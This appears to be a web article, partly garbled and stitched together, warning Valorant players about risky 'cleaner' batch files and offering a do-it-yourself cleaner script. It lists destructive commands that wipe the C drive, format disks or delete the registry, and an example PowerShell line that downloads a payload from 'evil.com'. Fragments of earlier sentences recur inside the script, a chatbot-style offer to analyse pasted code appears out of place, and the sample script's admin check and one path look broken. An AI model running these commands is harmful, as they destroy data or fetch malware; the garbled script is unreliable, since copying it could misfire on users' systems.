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Valorant Cleaner.bat File

Scan for these dangerous commands:

| Command | What it does | Red Flag? | | :--- | :--- | :--- | | del /f /s /q C:\* | Deletes everything on C drive. | Extreme Risk | | format D: | Wipes your hard drive. | Extreme Risk | | reg delete HKLM /f | Deletes entire Windows registry. | Extreme Risk | | certutil -urlcache | Downloads a file from the internet. | Moderate Risk | | start /b hidden.exe | Runs a hidden executable. | High Risk | | powershell calling a URL | Downloads script from web. | High Risk |

Because a batch file can execute any Windows command, a malicious version of VALORANT CLEANER.bat can:

The Visual Trick: Batch files flash a command window for a split second. A malicious script could run a "cleaner" in the first 10 lines (so you see normal text like "Deleting Temp files") and then run powershell -Command Invoke-WebRequest -Uri "evil.com/payload.exe" in line 11.

A "VALORANT CLEANER.bat" is a batch script used to remove game logs, cache, and temporary files to improve performance or fix errors. ⚠️ Essential Warning Never run a .bat file from an untrusted source. Malware Risk:

Scripts can hide commands to steal passwords or delete system files.

While "cleaning" logs is generally safe, some scripts attempt to modify game files or "spoof" HWID (Hardware ID). Using these can trigger a permanent ban from Riot Vanguard. Verification: Right-click the file and select to read the code in Notepad before running. 🛠️ What a Legit Cleaner Does A safe cleaning script typically targets these three areas: 1. Shaders and Web Cache

Valorant uses a "WebCache" for the in-game UI and store. Clearing this fixes black screens or lag in the menu. %LOCALAPPDATA%\VALORANT\Saved\WebCache 2. Configuration Logs VALORANT CLEANER.bat

Old log files can accumulate and take up space or cause minor conflicts. %LOCALAPPDATA%\VALORANT\Saved\Logs %LOCALAPPDATA%\VALORANT\Saved\Crashes 3. DNS and Network Flush

Many scripts include network commands to reduce "Network Trouble" icons. ipconfig /flushdns netsh int ip reset 🔍 How to Audit the Script If you open the file in Notepad, look for these Script Command del /q /s ...\VALORANT\Saved\Logs\* Deletes temporary text logs. ipconfig /flushdns Clears your internet's "address book." reg delete ... /f Deletes Registry keys. Can break Windows if wrong. These are HWID spoofers. High ban risk. powershell -Command "iex..." Often used to download hidden malware. 💡 Better Alternatives

You can achieve the same results safely without a third-party script: Manual Clean: %LOCALAPPDATA% , navigate to VALORANT > Saved , and delete the Riot Repair: Riot Client , click your Profile Icon Clean Boot:

to disable non-essential startup apps that conflict with Vanguard. If you are comfortable sharing, you can copy and paste the text of the script here. I can: Analyze the code for any malicious commands. Tell you if it will actually help your FPS Verify if it contains bannable "spoofing" software manual performance optimization

VALORANT CLEANER.bat can be a handy timesaver if you know what you’re doing. But for most players, the official repair tool and a simple reboot are safer first steps. If you choose to use a batch script, always read the code first—trust, but verify.

Have a technical issue with VALORANT? Start with Riot Games Support before running community tools.

Players turn to this script when they experience: Scan for these dangerous commands: | Command |

The script can save time compared to manually hunting down folders or rebooting multiple times.

Here is what a safe manual cleaner looks like (copy-paste these commands into an Administrator Command Prompt one by one):

# Stop Vanguard
sc stop vgc

Creating your own script ensures you know exactly what it does, eliminating the risk of downloading a malicious file from a forum. Follow these steps:

Step 1: Open Notepad (or any plain text editor like Notepad++).

Step 2: Copy and Paste the Safe Script Below. This script is designed for Windows 10/11, targeting VALORANT’s default install paths.

@echo off
title VALORANT Community Cleaner
color 0C
echo ==========================================
echo        VALORANT CLEANER v2.0
echo ==========================================
echo WARNING: This script will delete game configs and caches.
echo Your in-game settings will reset to default.
echo.
set /p "confirm=Type YES to continue: "
if /i not "%confirm%"=="YES" exit /b

:: Admin Check net session >nul 2>&1 if %errorLevel% neq 0 ( echo Requesting Administrator privileges... powershell start -verb runas '%0' exit /b )

echo. echo Stopping Riot Services... sc stop vgc >nul 2>&1 sc stop vgk >nul 2>&1 taskkill /f /im RiotClientServices.exe >nul 2>&1 timeout /t 3 /nobreak >nul The Visual Trick: Batch files flash a command

echo Cleaning VALORANT Config and Logs... if exist "%localappdata%\VALORANT\Saved\Config" ( rmdir /s /q "%localappdata%\VALORANT\Saved\Config" echo Removed Config folder. ) if exist "%localappdata%\VALORANT\Saved\Logs" ( rmdir /s /q "%localappdata%\VALORANT\Saved\Logs" echo Removed Logs folder. )

echo Cleaning Riot Client Cache... if exist "%localappdata%\Riot Games\Riot Client\Data" ( rmdir /s /q "%localappdata%\Riot Games\Riot Client\Data" echo Removed Riot Client Data. )

echo Cleaning NVIDIA DXCache (if exists)... if exist "%localappdata%\NVIDIA\DXCache" ( del /q "%localappdata%\NVIDIA\DXCache*.*" >nul 2>&1 echo Cleared NVIDIA shader cache. )

echo. echo Restarting Vanguard... sc start vgk >nul 2>&1 sc start vgc >nul 2>&1

echo. echo ========================================== echo CLEANUP COMPLETE. echo Please restart your computer now. echo ========================================== pause

Step 3: Save as a Batch File.

Step 4: Run as Administrator.